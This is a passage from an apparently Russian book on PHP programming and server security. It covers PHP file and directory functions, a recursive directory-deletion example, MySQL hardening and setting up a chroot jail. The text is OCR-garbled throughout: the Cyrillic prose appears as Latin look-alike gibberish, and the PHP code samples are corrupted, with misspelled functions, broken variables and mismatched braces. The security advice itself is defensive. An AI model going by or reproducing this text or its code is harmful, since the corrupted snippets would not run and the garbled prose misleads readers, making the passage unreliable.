O y — ron asyms wadpamu;

O z — newb roxaa.

Qynkiuys fileatime() BO3ZBpAIAET JaTy rocientero obpawenus X Qaivry. Mox
obpaiieHieM MOHUMAETCS Ni060e YTEHHE WM U3MEHEHME comepxkumoro. Mue

TOKa He NMPUXOAMJIOCH WUCIONB30BATh 3TY (PYHKUMIO, HO, MOXerT ObiTh, BAM OHa
TPHTOAUTCS;

int fileatime(string filename)

@yukunsa filesize() MO3BOJNSIET ONPENENHTE pasMep daiina:
int filesizel(string filename)

DyHKuMH nepepaercst wms Qaitra, a B pesyiLTaTe Mbl NOJydaeM €ro pasMep.

s onpeneneHust Tuna daitta ucnonabayercs HecKoibko (QYHKURM, HO yaue
BCErO HY)KHO Y3HATh, ABJISIETCS JIM NYTh KATAJIOTOM, HhailioM WAH HCIOMHAEMBIM
daiinom. IToMHMO 3TOTO, MOXKHO Y3HATh, €CThb JIM Y HAC MpaBa HAa YTEHHE WM
sanuch B daitn. Beem 5THM QyHKuMAM nepepaerca wms (aiina, a pesynsrar pa-
BeH true WIN false.
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DyHkuns is_dir() BO3BpallaeT true, ec/AH YKasaHHBIHA [yTh COOTBETCTBYET Ka-
Tajnory:

int is_dir(string filename)

OyHKUMA is_executable() BO3BPAIAET true, ECAM YKASAHHBIH MyTh COOTBETCT-
BYET MCHOMHIeMoMY (haitry:
int is_ executable (string filename)

®yukuns is_file() BO3BpAllaeT true, €CIM YKA3AHHBIH MYTh COOTBETCTBYET
aitny: i

int ig file(string filename)

DyHKIMS is_readable() BO3BPAIAET true, ECIM yKasaHHbid daiin mocryneH
JUIst 9TEHUA:

int is_readable(string filename)

QyukuMa is_writable() BO3BpallaeT true, eciM YyKazawusii daitn aocTyneH
IUESE 3aiTHCn:
int is_writable(string f£ilename)

2.14.8. Ynpaenenne chaiinamn

Muorna sosuukaer HeobxonumocTs B ynpasieHun Gaitiamu, a UMEHHO B X KO-
NUPOBAHWY, YAQUIEHWW U riepermeHoBanny. Hekoropbie NporpaMMUCTBI JT00AT
HCHONB30BATh /Ul STHX Lieieil cucTemibie Bbi3oBbl dyHkuuid. Hukorma ue ae-
naiite aroro. JluuiHee obpaiieHne K cHereMe — O4YepelHas abipa B 6esomacHo-
cri. Ui manunymupoBaaus daltiamu mcnoassyiite Ttonbko dynkumn PHP.
Ecin B 3TOM KOZE Bbl AOMyCTHTE OWIMOKY, TO XaKep CMOXET TONbKO MaHHMyIH-
posarh (aitlaMu, HO He BHINOJHATE KOMaHAbl Ha cepsepe. s noayyesus npas
Ha BbIOJHEHNE BITOMILHKY noHanobuTes vyTh ﬁonbme crapaHmit.

[1a6bl CIKOHOMUTH MECTO, PACCMOTPMM TONBKO ONMCAHMst PYHKUMA U mpocThie
MpHMEepEI.

Jltst KonupoBaHus (baﬁna H3 O/IHOrO MEcTa B ApYyroe ucnonwye'rcn GyHxuHS
copy (}:
int copy(string source, string destination) _

Oy 2.9
[epsoiit mapamerp — 3710 daltn win nyTe K daiiny, KOTOpLt HaN0 KOMUPOBATEH.
Bropoii napamerp — HoBoe mectononoxenue daitna. B ciayuae yrauHoro konwu-

poBaHus GYHKUMS BOIBPATUT true. CACAVIOWMH NPUMEP ASMOHCTPUPYET, Kak
ckorniuposars ¢aiin testfile.txt B ToT Xe Karanor, HO ¢ HOBBIM m -

if (copy(“"testfile.txt™, “/*))
{- . |
print ("Complete") ; "
}



106 Fnasa 2

[ns nepenmenosanus daitna uenoabsyeres: GyHKUMS rename ():
int rename (string oldname, string newname)

[lepBuiit mapametp — uMs daiina, KOTOpoe HANO W3MEHUTh. Bropoit mapamerp —
HoBoe uMs aiina. DyHKIUMA MOXET HE TONBLKO TIepeMMEHOBLIBATL (hailrbl, HO W
nepeMemiats ux. Hampumep, creayiolias cTpoyka Koaa nepeMecTuT ¢aiin us oa-
HOTO MecTa B JPYroe W MpH 3TOM CMEHUT ero UMs:
if (rename (" /home/flenov/testfile,txt",
* /home/flenov/templates/1.txt"))

{

print("Complete") ;

)

s ynanenus ¢aiina ucronsayercd GyHKmMsa unlink():
int unlink (string filename)

B xavecTse mapaMeTpa HYXHO YKa3aTh TOJBKO uMs yaamsemoro daitia. [Tpu
uenonb3oBaHuK 3o Gynkuwan 8 Unix-cucreMax Bl AOJDKHBI YYHTHIBATL, YTO
npoucxoauT dU3MYecKoe yIAIeHHE TONLKO Tex (ailnos, HA KOTOphIE He Cylie-
cTByeT ccbUfoK. Eciiu HA JaHHBIE €CTh CChUIKA U3 APYIOro Katanora, Hanpumep,
/home/flenov/php, To yaanserca TONBKO cehbinka Ha Karanor. @aiin npu 3ToM
oCTaeTcsi HAa MecTe, W K HEMY MOXHO [OJNYYMTh [OCTYN 4YEPe3d CChUIKY
/home/flenov/php.

[ns1 KOppeKTHOro BBINOMHEHWs KOMAHA Manunymsiuun daitiiamu y Bac HOMKHEL
OBITH YCTAHORIEHB! COOTBETCTBYIOLIME TIpaBa xocTynd K ¢ailinaMm W KaTamoram,
Hanpuwmep, npu konuposaHny (aiiia U3 ofHOre Karamora B Apyroi y Bac Joik-
HBl OBITHL NMpaBa HA YTeHHE Konupyemoro ¢aiiia ¥ Ha 3anmuch B Karamior, Kyna
TIPOMCXOOUT KOIIMPOBAHUE.

Heo6XoaMMO NpPOBEPATH KaXIbIA MApaAMETp, KOTOpPBIA fepenaercs (QYHKIUMSEM.
OcofeHHo B TeX clyyadX, KOTfAad HA MapaMerphl MOXET HOBINATH MOCETHTENh
caifta. Ecu BIMOMIIMK MOXET yKasarh joboe ums Juis yaansemoro daitia, 1o

OH MOXET NPOCTO BHIIOIHATE KOMAHAY HA YIaneHWe BAKHBIX KOH(UIYpanuos-
HEIX (alifIoB ¥ BBIBECTH CEpBEp U3 CTPOA.

2.14.9. YnpaBneHue Kartanoramm

Ipu pabore ¢ KarajoraM OYeHb BAXXHO 3HATH CMBICT MOHATHS TEKYUIEro Kara-
nora, OmMH U3 Katatoros GailIoBoi CUCTEMEI ABISETCH IS CHEHAPHS TEKYILIAM.
[Mo ymonyaHWMIO TAKAM KATAIOrOM SIBJISETCA TOT, rae XpaHuTes Qail cueHapus.
HMmeHa ¢aiinos TeKywero Karanora MOXHO yKaspiBars 63 mojHoro nyTu.

C noMonisio (bYHKIIHH getcwd () MOXHO Y3H&aTh, KaKoif Kartasor siBjsieTcs Te-
KYIIM:
string getewd()
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Jinist cMEeHBI TEKYILero Karanora ucnonsayeres: pyHkims chdir():

int chdir(string dir)

B xauecrse Tekyuiero ara QyHKUMS yCTAHABAMBAGT KATANOr, yKasaHHbIN B mapa-
METpe.

s cosmanms Kataiora HCNonb3yercss QYHKIMs mkdir ():

int mkdir (string _dirname, int mode)

Dyuxuus MOIBOASET COMABATH KATAJIOT ¢ YKA3AHHBIM B KavyecTse MEpBoro napa-
metpa uMeneM. Bropoit napamerp onpeaensier pexum gocryna B Unix-cucremax.
B Windows ator napamerp urHopupyercsi. YTobsl MO3HAKOMHTECH C peXUMaM#u
JIOCTYTA, PEKOMEHIYI0 nmpouuTaTh KHury "Linux rmasamu xakepa” [1].

PaccMOTpHM MpHMEpP, B KOTOpPOM coafdetcs Karaior /var/www/html/2. Tipasa
nocryna ycraHasnuaiorest 8 sHavenne 0700. Ipu s7oMm Beemu npasamu Ha Ka-
Taor Gyner obnanars ToabKo Bnamener. OcranbHBIM OH GyaeT HemoCTyIeH.

mkdir (" /var/www/html/2", 0700);
Jinsi co3panus Karanora y Bac AOMKHLI OBITH NMpasa Ha 3aUch B POAMTENBCKUN
Karanor. B gannoMm cayyae 3to /var/www/html,

DyHKUMA rmdir () NO3BONACT YAAUINTh YKA3AHHBIH B KAauecTBe €AMHCTBEHHOIO
napamerpa karanor. B o6uieM Buae oHa BRINISAAT CAenylomum obpasom:

int rmdir(string dirname)

VYnansiercsi Tonbko nycroi Kartanor. Eciu B HeM ecth xota Obl oame daitn, To
yIATEHHE CTaHeT HEBO3MOXHBIM.

2.14.10. YreHune karanoros

Jinst uTeHMs COAEPKMMOro Karajiora MCroib3yloTes TpH QyHKIMu:
O opendir() — OTKpBITH KaTalor,

O readdir() — NPOYMTATHL KATANOT;

0O closedir() — 3aKpbiTh KaTanor.

YreHue comepXHMOro karanora yem-To HanomuHaer pabory c ¢aitnom. Korma
MBI OTKPBIBAEM KaTajor, TO [OJy4yaeM AECKPUNTOP, Hepes KOoTopsiil M mpomcxo-
aut vrenue. [Ipn 3ToM y Bac AO/KHLI OBITH Mpasa Ha YTEHME KaTalora, WHaue
onepauns OyneT HEAONYCTHMOM.

Jlasaiite paccMOTPHM BCIO 3Ty TeXHOIOrWIO Gosiee moapobHo. HayweM ¢ OTKpbITHs
Karanora, T. €. ¢ (QyHKUMM opendir ():

int opendir(string dir)

B kauecrse mapameTpa (GyHKUMM opendir () MepenaeTcsi MyTh K KATANOrY, KOTO-

peiif HYXHO npouuTars. B KauecTse pesynkTara HaMm BO3BpaAlAeTCsi NECKPUNTOP
OTKPHITOIO Karaiora.
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JIAs uTeHHs1 COASPKUMOrO KaTanora Henonb3yercs (pyHKIHA readdir (), KoTopas
BO3BpalllaeT ovepesHoe ums daitna:

string readdir(int handle)

Ecnu npoynTaHsl yke Bee Gaiinsl, To GyHKIMs BOIBpALIAET false. _

Insi 3akpeiTHST Kararora MCnonab3yercs QyHKums closedix (), KOTOpON HYXHO
IepesaTh JECKPUITOP OTKPLITOrO Karaiora. .

Tenepy HanMieM NpHMep, KOTOPKIt Gyner nepeGupaTh KaTaiord ¥ BbIBOAHUTH MX
coiepxumoe Ha sKkpan. Yrobsr kox Gbin Gonee MHTEPECHBIM, CAETAEM €ro Mak-
CHMANBHO YHUBEPCAIBHBIM H HA MPAKTHKE BCNOMHUM, mmoepexypcm(m
THHT 2.19} \

£uncl:ion ReadDirectory(8dir, -} \
{if {sd=cpmdirtséir>)
: while ($file=readdir($d))
{if ((5files=*.') or (Sfile=s'..'))
continue;

if (is_dir(8dir.v/".$file))
( :
print ("<BR>Soffs <B>Sdir/S$file</B>")}
ReadDirectory($dir."/" .§file, Soffs."-");
) i f_ ‘.-. b 1!
else _
print ("<BR> Soffs $dir/$file");
1
}
closedir($d);
}

ReadDirectory (I/var/www/html/1", Soffs="");

B 5710M npuMepe MBI CO3MATH (PYHKIUMIO ReadDirectory (), KOTOpas YMTaeT Kara-
JI0T, MepeaBaeMblil B KAYecTBe TapamMeTpa, ¥ BBIBOMMT ero Ha 3kpad. [lpu yreHun
KaTanora Msl miposepsieM UMsT aitna. Eclii OHO paBHO TOYKE WM IBYM TOMKAM
(cayxebHoe ums), To Huuero He aenaem. Ecam texyumit daitn sisnsiercs karao-
TOM, TO NepesMTHIBAEM | 8o, PEKYPCHBHO BbibiBasi (PYHKIMIO ReadDirectory(), HO
¢ HOBBIM KATAJIOIOM.

[Moyemy Mbl otOpacsiBaem daitasl ¢ WMeHaMu, com:ommun u:s ONHOM M ABYX
Touek? DTH MMEHa MBISIOTCHA 3ape3epBUpPOBAHHbLIMH. TOYKa YKA3BIBAET HA TEKy-
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uMil Karagor, a ABe TOYKM Ha poaureasckwit. [lpu aroM, ecnu BBIMOIHHTE
byRKUMIO is_dir() ans daiina ¢ UMeHeM, COCTOSLIMM M3 TOMKM, TO Pe3yibTa-
ToM GyaeT true, TO ecrb 370 Kartanor, [Mouemy? Ecou Mbl Haxonumces B Karajore
/var/www/html, To /var/www/html/ ykassiBaeT Ha Tekyuuii Katanor, T0 €cTh 310
Karasior, U QyHKIMA is_dir() JOKHA BEPHYTH true.

Bul 10/DKHBL YMUTEIBATL 9TY OcOGEHHOCTL W NpH HeoOXomMMOCTH OTGPACKIBATH
ciyxebOHble UMEHA KaTajloroB.

Tenepb y Hac gocraroyHo sxauwuil, yrobsl Hamucarh (GYHKUMIO, KOTOpas MO3BO-

JIMT yHANSITH Katanoru, comepxaiuue taiiiel. Moii BAPHAHT Bbl MOXETE YBUIETH
B merurre 2.20.

cti rmdixr_with_files(Sdir, Ss)
{if 15ﬁ'wiri$ﬁirl}
; while ($file=readdir(%d))
(if ((§file=='."') or (&file==',.'))
continue;

if (is_dir(sdir."/".$file))
{
ReadDirectory ($dir."/".$file, Soffs."-");
mdir ($dir./.5file);
}
else
unlink(8dir./.$file);
} .
}
closedir(4d) ;
)

rmdir with files ("/var/www/html/l", Soffs=""};

ByabTe BHUMATENBHLL [PA HCMONB3OBAHUM TAKOH MPOLUELYpPhl W HAKOINA He yKa-
3bIBANTE yAAIseMbil KaTalor Yepes nepeMeHHyo, KOTOpyio MOXeT 3alaTh Mojih-
soparesib. Eenu xakep CMOXeT MOBAWATH HA MEpBeI napamerp GYHKUMHK
rmdir_with_files() W H3MEHWT NyTh HA /, To OyAyT yaaneHsl Bee daiine Ha
cepsepe. YToBs! 9TOro He MPOM3OILIO, i HUKOINA HE UCMONL3YIO PEKYPCHIO MPH

YHANEHUH,
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Bbe3zonacHocTb

Korna s yguncst B MHCTHTYTE, TO Ha OJHOM H3 CTEHIOB B KOPHIOpPE NpOYMTaN
o4yeHb MHTepecHoe Bbipaxenue: "Jliobas nporpamma comepxut omwmbxku. Ecnu
B Balleil mporpaMme MX HET, TO NpoBepbre mporpammy ewe pas. Ecam cHosa
olnOKY He HaillleHsl, TO BbI IJIOXOK nporpaMMueTr”. DTO He WIYTKA, 3T0 peaib-
HocTe. [IporpamMmueTel — 3T JIIOAM, @ MIOAAM CBOMCTBeHHO ommbarbes, Kax-
Ablit IeHb NOABNSIOTCSA BCE HOBBIG BWABI aTaK, W 4TOOLI NoOANEPXUBAThH MIPOTPaM-
Mbl B 6E30MAacHOM COCTOSHHM, TMPHXOAMTCH PEryIApHO CIENTh 33 METOAAMHU,
KOTOPHIE MCMONBL3YIOT XAKEPHl, H COOTBETCTBYIOIMM OOpasoM KOpPpeKTUPOBATH
UCXOHBIA KOZ.

HeBoaMoxxHo HamHeaTh KHUTY W H3MOXHTH B Hell KAKHE-TO MHCTPYKIMH, Clenys
KOTOpbiM mporpammuct Oyaer cosgasath abcomoTHo OesonacHble CUEHAPHM.
Ho sTto He 3Hayut, uro nmpo Ge3omacHOCTh MOXHO 3abbiTh, rotoMy uro Jiobyio
CHCTEMy BCE PaBHO BanoMmaloT. Sl mocrapaioch JaTh PEKOMEHIALIMK, KOTOPbIE 10-
3BOJIAT CHENATh Ball Koj Gonee 6e30MacHBIM M TIOHU3UTH BEPOATHOCTH BANIOMA J10
MUHMMYMA,

Best kuwra mocrpoeHa Tak, 4To Tema 0e30MmacHOCTH CTABUTCH HA MEPBHIA rUtaH.
Ho ects onpeneieHHbIE 00111Me MOMEHTHI, KOTOPLIC $1 BEIHEC B OTAC/ALHYIO [TIaBY,
M MX HaM [PEACTONT ceifyac pacCMOTPETh.

Msl He Gynem roBopHTh 0 HeOOXODMMOCTH BBIOMPATH CHOXHBIE MApoOiW W Xpa-
HUTH UX B 3amndpoBadHoM Buile. MHe Kaxeres, YTO NpocTbie NAPOAH — 3TO
npobJiiemMa HAaYMHAIOWIMX ronb3osaTeneii. ITpodeccnonanbl, KOTOPBIMM SBISIIOTCS
AIMUHUCTPATOPE! W TPOTrPaMMUCTBI, HO/DKHEI yXKe BBIYUHTBb, YTO Napoib god Ha-
MHOTO NPOLIE BIIOMATh, YeM Mapoib £EA45k%92-EDh_GAPnS82Ndg.

3.1. KomnnekcHas 3awura

[TpoGrema 3amMTh HE OrpaHUYMHBAETCs TOJNBKO 3alKTON cueHapus. MoxHo Ha-
nucars caMmyo Ge30MacHyI0 nporpaMMy, HO ITPH 3TOM YCTAHOBHMTE Ha cepsep OC
¢ HacTpoiKkamMu no ymongaHuio. BeceM M3BecTHO, YTO HACTPOHKH MO YMOIYAHWIO
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maneku or wjeana, w Gmaromaps aToMy cepsep MOXeT GuITh BaomaH aaxe Ges
ucnonb3oBarus Web-cueHapunes.

BesonacHbIM Jo/KeH ObITh HE TONBKO KaXAbift y4acToK Koja, HO H KaXmas
nporpamMma, yeraHobneHHas Ha cepsepe, cama OC u Bee ucnonsayemoe oGopyio-
BanNe (B OCHOBHOM, 3TO KACASTCSH CETEBBIX YCTPONCTE).

[TporpamMmucT Ao/RKeH Beerna paboraTh B COTPYIHHYECTBE ¢ AJIMHHHMCTPATOPaMHN
W creuranuceramMu no GeaonacHocTH. Hampumep, mporpaMMHcT MOXeT PeluTh,
4TO UIs ero yuobeTBa HeobXoaMMO clenarh OnpeaeneHHyI0 MAnKy OTKpBITO#l L
YTEHHS M 3aMMCH Beem nonbioparessM. B sroit nanke clﬁﬂbuu Gynyr coxpa-
HATHL HeKoTopble HanHeie, Ho ecau 3Ta namka WCronb3yercs aiMHHHCTPATOPOM
IS XpaHeHusi BKHBIX NAHHBIX WiM KOH(QMrypaumoHHBIX ¢aitnos, TO cepeep
OKEXETCS Mojl YTpo3oii.

3ammmars Haxo U cerepoe oGopynopanne, Eciu Bbl caenute 3a GOLTETeHAMH 10
Ge3omacHoCTH, TO MOMKHE! ObIIM BCTPEUATHECH C ONMMCAHUSMM B3JOMOB, NPH KO-
TOPBIX XaKep CMOr MOJYYHTE IOCTYN K MAPLIPYTU3ATOPY U MPOCMOTPETH BCE Ma-
Kersl nons3osareneil. s KOHQUASHIHANBHEIX JAHHBIX MBI MOXeM HCHONLIO-
Bath wndpopanKe W nepenapark AaHHbBIE Mo nportokomy SSL, HO ero HMKTO
HUKOTIA He MCMO/b3YeT Npu cospaHny dopymor unu varos. Ecam xakep cmor
nepexsaruTh TMAaKer, B KOTOPOM MNO/Nb3OBaTElb nepender Ha ¢opym naHHsie ob
ABTOPHM3AlIMH, TO XdAKep CMOXET WX TPOMMTATH H SaXBATUTL YYETHYIO 3anucs
MOMb30BATESL. .

Wrak, sammuares Heobxommo He Toabko cuenapuu, Ho m OC, cepsep Gasnt
naHHbIX, ceTeBoe obopyrosanue. Kaxnan cocrasnsiomas Ttpebyer OTHEILHON
KHUTH 1o Ge30MacHOCTH, HO HEKOTOPSIE 0COOEHHOCTH 3AMINTH MBI PACCMOTPMM
B 3TOH rnase.

Jaxe eciu Bbi ABISETECH Pa3paGOTYHKOM W He CBA3AHBI ¢ AAMUHHCTPHPOBAHHEM
cepBepa CBOEH KOMIIAHMW MIIH MPOCTO caifTa, s HACTOSITETHHO PEKOMEHIYIO BAM
no3HakoMuThes ¢ GesonacHocthio OC, Koropasi MCHONL3yeTesl HA BALIEM cephe-
pe. [Uis Linux-cHcreM s peKOMEHAYIO nmpounTaTs KHMry "Linux rrasamm xake-
pa” [1].

Hasaiite paccmotpum npumep sawmtsl MySQL u Apache B onepaumonHoi crc-
treme Linux. Mbl omyerum samury eamoii OC, noroMy uTO 570 OTAEABHAs W
ovyeHb Gonburas Tema. Mrak, saiura HayMHaeTcs C YCTAHOBKH M MpeNBapHTENb~
Horo KoHgurypuposauus, B ciywae ¢ MySQL HeobxonumMo BBITIONHHUTE Caeayio-
e geicTBus:

1. Cepsep 6a3bl AaHHBIX YCTAHABIHWBAETCH ¢ HACTPONKAMHU MO YMOMYAHMIO, TIPH
KOTOPhIX AIMWHHUCTPATOPCKHIl JOCTYN paspelleH MOAB3OBATENIO OOt C TyC-
TBIM MaposiieM. D1o HebesornacHo, l’hqﬁwuo, KaK MUHHMYM, YCTaHOBHTb
CIIOXKHBI Mapoib, a Jyqile NepeHMeHOBaTh yUeTHylo sanuchk root. Ecim Bal
paboranu ¢ OC Linux, TO JO/DKHBL 3HATH, YTO B 3TON CHCTEME AIMUHUCTPATO-
pom Toxe siBasierest root, Mmena agmuanceTparopa 8 OC i B Gase JaHHBIX HH-
KaK He CBS3aHBL.
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2. Heobxonumo 3a610KMpoBaTh AHOHUMHEL JocTyn K 6aze naHuHbIX. [Tomkmove-
HUA JOMKHBL NPOUIBOIMNTECH TONBKO VIS ABTOPH3OBAHHBIX MONL30OBATEIEH,

3. Heobxouumo yaanmuth Bee 6a3bl JAHHBIX, CO3AMHBIE IS TECTHPOBAHMS W OT-
nanku. Tlo ymonuanunio 8 GonbiinHeTee cepBepos 6a3 aaHHbix (B TOM Yucne u
B MySQL) yeranasnupaercst Tectopasi 6asa gannsix. B paborawoineii cucreme
ee He noamno ﬁam,

Hoctyn no yuomamm, 0 KOTOPOM MI:I yxe cxca:arm, eCTh NPAKTHYECKH BO BCex
Gasax tannbix, B MS SQL Server 310 ums 53, KOTOPOe MOXET He UMETb NApONs,
ec/TH AIMHHUCTPATOP HE YCTAHOBUI €ro BO BpeMs HHCTANISINH, 2 B MySQL 310
T0b30BATEIb root 6ea maposis. YTobsl M3IMEHUTH NAPONL B MySQL, BHITIOMHNTE
Komauny: Far6)

/usra’bin/mysqladmiﬁ —uroot password newpass

Hawnysummm sapuanrom Gyser nepenecrn pabory MySQL n Apache B oxpy-
wenue chroot. Kak paBotaer sto oxpyxenue? B cuereme cospaercs karanor
(8 Linux mns 97oro cymiecTsyer KOMaHAa chraot), KOTOPBIH SBNAETCS JUIS PO~
IPAMMBI KOPHEBBIM.

o . [ousr ] [ ver I_l,;l_!q%u_

s 1 | ' A
[ bin J I usr ] I var I_,I't._l__em' ]

Puc. 3.1. Cxema paboTel okpyxenus chroot

Beiuie 3roro Karanmora nporpamMma, pabortalouias B oKpykeHuH chroot, nofacts
He Moxer. IMocmorpure Ha pue. 3.1. 3necs nokasana yacrh (aiioBoil cHCTEMBI
Linux. Bo rnase Beero crout Kopsesoit katanor /. B Hem maxoastcs Karanord
/bin, /fusr, /var, /home u 7. a. B /home pacnoioXeHsl KaTanord mnoib3oBareiei
cucTeMbr. Ml coanaem 3ech HOBBIH Karajor, JUisl NpuMepa Hasosem ero chroot,
H OH Gy/eT SBIATbCSA KOPHeM JUtst ciryx6bl. B nem Gyayr cBon karanoru /bin, /usr
M T. I, ¥ cayx6a Gyner pabGorarh ¢ Humu, a Bee, yro semre /home/chroot, oka-
xetcst HegoetynHsiM. [Mpocro enyxba Gyaer cuurars, uro /home/chroot — 910 1
ecTh KopeHb daitioBoil cUCTEMEL.
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Ha puc. 3.1 pamkoit obBeneHsl manku, Koropsie Oyayr Bumubl cnyx6be, Mmenno
B 3TOM mpoctpancrBe Gymer pabGorare cinyxba, u mis Hee 310 Gyler peaibHad
(aiiosas cHcTeMa ceppepa.

Ecnu xakep NMPOHHKHET B CHCTEMYy Y€pes 3alMINEHHYI0 caykOy H 3aXo4er mpo-
CMOTpeTh Karasor /etc, To OH YBMAMT Katanor /home/chroot/etc, HO HHKaK He
cucremHbiit  /etc. YroBel BITOMIUMK HHYEro HE 3aMomO3puia, B Karajore
/home/chroot/etc MOXHO PacnoNOXHTh Bee Heobxoaumbie dailibl, HO 3aHecTH B
HHX HEKOPPeKTHYI0 HH(popMmaunio. Banomumk, sanpocus ¢aitn Jetc/passwd we-
pe3 ysIsBIMYIO CyXGY, moyuant goctyn K /home/chroot/etc/passwd, notomy uTo
cryx6a cYMTaeT ero CHCTEMHBIM. ;

Tak, wanpumep, ¢aitn /home/chroot/etc/passwd MOXeT comepxarh HeBepHbIe
napom. Ha paGoty cucrems! B LIGJIOM 3TO HEe [MOBIHSET, MOTOMY 4YTO CHCTEMA
Gyner Gpars napony U3 daitna /ete/passwd, a ciyx6e peaibHbIe MAPONU CHCTEMbI
He HYXHbl, noatomy B daitn /home/chroot/etc/passwd MOXHO 3anucarh 410
YIOHO.

Berpoennass B cucremy Linux mporpamma chroot, CO3AAIONIAA BHPTYATbHLIE
MPOCTPAHCTBA HA cepBepe, He oueHb ynobHa. HyXHO BBINMONHWTE CAHIIKOM
MHoro onepaunii. UMeHHO nosToMy aaMuHHCTparopsl Gonsuie nio6sT nporpaM-
My Jail. Ee B wmoxere  wHaiitu B  HuHTrepEere no  ampecy
http://www.jmcresearch.com/ :

projects/jail/. Ckauaitre apxwBHBIH (aitn M nomecTure ero B CBOI Karamor
(nmporpaMMy MOXHO HAUTH W Ha KOMNAKT-gHcKe B Katamore software). s toro
yToObl pazapXWBUPOBATE 3TOT (aiiN, HYKHO BBITOJHUTE CASAYIOLIYI0 KOMAHIY:
tar xzvf jail.tar.gz -

Tenepp B Tekywiem Karaiore nogBUTCs mnoakaraxor jail ¢ HMcXomHbIM KolOM
nporpamMmsel. [la, umenro tak. [lporpamMma oTKphiTa M MOCTaBASETCS B MCXOA-
HBIX Kojax.

Teneps HyxHO nepeiiti B karanor jail/src (cd jail/src) M OTpeNaKTHPOBATSH
(aitn Makefile (nanpumep, penaxropom nporpammel MC). B camom Havane dpaii-
N4 UIET MHOXECTBO KOMMEHTApPHEB, U MX Mbl onycTiM. IMocne aroro Bel cMoxere
YBHIETH CCAYIOLLHE TapaMeTphl:

ARCH=___LINUX__

#ARCH=__FREEBSD__

#ARCH=__ IRIX

#ARCH=__SOLARIS_

DEBUG = 0

INSTALL_DIR = /tmp/jail
PERL = /usr/bin/perl
ROOTUSER = root
ROOTGROUP = root
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Brauane 3amaercs tun OC. TMo ymonyauuio ykasana Linux, a cnenyoumue TpH
crpouku anst FreeBSD, Irix u Solaris sakommenTuposanst. Ocragum Bee Kak
ectb. Yro HYXKHO M3IMEHWTb, TaK STO KATAIOr QIS YCTAHOBKM (mapamertp
INSTALL_DIR). [To ymomyanwio B mocnenueil Bepcum (HA MOMEHT HAmMCAHMS
KHUIH) Mcnonsayeres karanor /tmp/jail. He 3naio, 3a4yem 370 caenaso, Beib Ka-
TAI0r NMpeAHasHauyeH JUIA BpeMeHHBIX (ainos, W OH JAcKeH OBITH AOCTYNEH IS
yrenus abcomorHo BceM. Paublue KarajoroM no ymonwanuio 6uun /usr/local, u
MMEHHO ero s COBETYIO 3/1eCh YKa3arsb. bosblle HUYEro MEHATh HE HAO0.

it BHIMONHEHMS CAEAYIOWMX KOMAHJL BaM MoHaLoBATCS npasa MoNL3OBATENs!
root, Mo3TOMY BOHAMTE B cHCTeMY KaK AIMWHHCTPATOP MW MOJYYHTE HYXHBIE
TpaBa, BRINOMTHWB KOMAaHAY su root.

[Mepen xoMmunstumeRt W ycraHoskoil yGemmrech, uro y daiina preinstall.sh ects
npasa Ha BeosHeHHe dainos. Ecnin UX Het, BRIMONHUTE CAEAYIOUIYI0 KOMAHIY:
chmod 755 preinstall.sh

Bee roroso k yeranoske. Haxomsics B karanore jail/sre, BBIOTHHTE KOMAHIBL
11
make install

Ecim Bee mpoupio ycneiwrso, To B Karanore /usr/local/bin HO/KHBI MOABUTHECS
nporpammsl; addjailsw, addjailuser, jail u mkjailenv.

Ons wavana coszmanum karanor /home/chroot. OH cTaHeT KOPHEBEIM IS TIPO-
rpaMMBbl, Ha KOTOpoW Mbl Oyaem MCTBITBIBATS CHCTEMY. list 31010 BbUTOIHUM
KOMaHIy:

mkdir /home/chroot

Tenepb HyXHO TOATOTOBUTH OKPYXKEHME IS HOPManbHON paborsl Oyiymweit
cnyx66l. st 3TOrO BhIMOAHAEM KOMAaHILY:

/usr/local /bin/mkjailenv /home/chroot

IMocmorpuTe, 4T0 Npousouuio ¢ karasorom /home/chroot. 3xeck nogBUANCH ABA
karanora dev u etc. Kak Mbl 3HaeM, B karanore dev 10mKHbl GbITh (haiinsl onuca-
Hus yerpoiiers. B nanHoMm ciydae mporpamMma He CTANa JeNaTh MONHYK KOIHIO
cHCTeMHOro Karajora /dev, a orpaHM4Mjach CO3NaHWEM TpeX OCHOBHBIX YCT-
poiicts: null, urandom u zero.

B Karasore etc MOXHO TAKXKe yBHAeTb TpH (paiina: group, passwd u shadow. Sto
HETMOJIHEIE KOMWM CHCTEMHBIX daiuioB, Hampumep, eciad BIDHYTH Ha daiin
passwd, oH GyIeT conepxars TONLKO CNeAYIOLUe CTPOYKH;
root:x:0:0:Flenov, Admin: /root: /bin/bash

bin:x:1:1:bin:/bin: /sbin/nologin

daemon:x:2:2:daemon: /sbin: /sbin/nologin

nobody:x:99:98:Nobody: /: /ebin/nologin
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B gacTHOCTH, 34€Ch HET Nojik3oBarteeil, KoTopsie MOTIH BLITH CO3AAHEL B OCHOB-
Hom paszgene OC Linux. B daitne shadow naxonsires renessie maposnn. [poseps-
Te npasa Ha 9ToT daika, 4robbl oHK He GbUIM mHMpe, YeM rw------- (i 600).

Tyt ectb onuH HegocTaTok B GesonacHocTd — 8 daitne /home/chroot/ete/shadow
HAaXONMTCS pearbHbiil 3ammdposanubit napons u3 gaiina /etc/shadow. Jlyuine
ymanute ero. Ecau anoymenuneHHWK ysHaer maponb K cayx6e, TO OH CMOXET
NMPOHUKHYTh HA CEPBEP Yepes JAPYryio [IBeph, KoTopas He 3alMiieHa BUpTYaib-
HEIM KaTaJloroM.

[Mponomkaem HACTPOIKY BUPTYANBHOIO KopHeporo Karaiord. Terepb HaM HYxXHO
BBINOJIHUTD CNEAYIOUIYIO KOMAHIY:

/fusr/local /bin/addjailsw /home/chroot

Bo BpeMsi BHIONHEHMS TOH KOMAHIBL 0 9KpaHy nobexuT MHOXeCTBO WHpOP-
MALMOHHBIX CTPOMEK O BBLIMOJAHSAEMBIX Aeicrsusax. Jelcreus saxmoyaores
B TOM, 4T0 B Karasor /home/chroot KONMpyioTCs OCHOBHBIC KATANOTM H MPO-
rpammel. Hanpumep, B karanor /home/chroot/bin GyayT cKonupoBaHsl NPOrpaM-
Mbl cat, cp, Is, rm # T. 4., n cayx6a Gyfer ucroNB30BATE MMEHHO 3TH TPOTPAM-
MBI, @ HE Te€, YTO PacrnofiaXeHbl B OCHOBHOM Kataiore /bin.

Komanma konupyer 10, 9TO CYMTAET HYXHBIM, HO IATEKO HE BCE MPOrpamMmsl Mo-
Tpebylotca Gynyuueil cayxbe, koropas Oyaer paGorarh B BUPTYATLHOM KOpPHEBOM
karanore, Ecnu kakas-nu6o nmporpamma He HYXHA, TO €€ CHeAYeT YNanuTh, HO
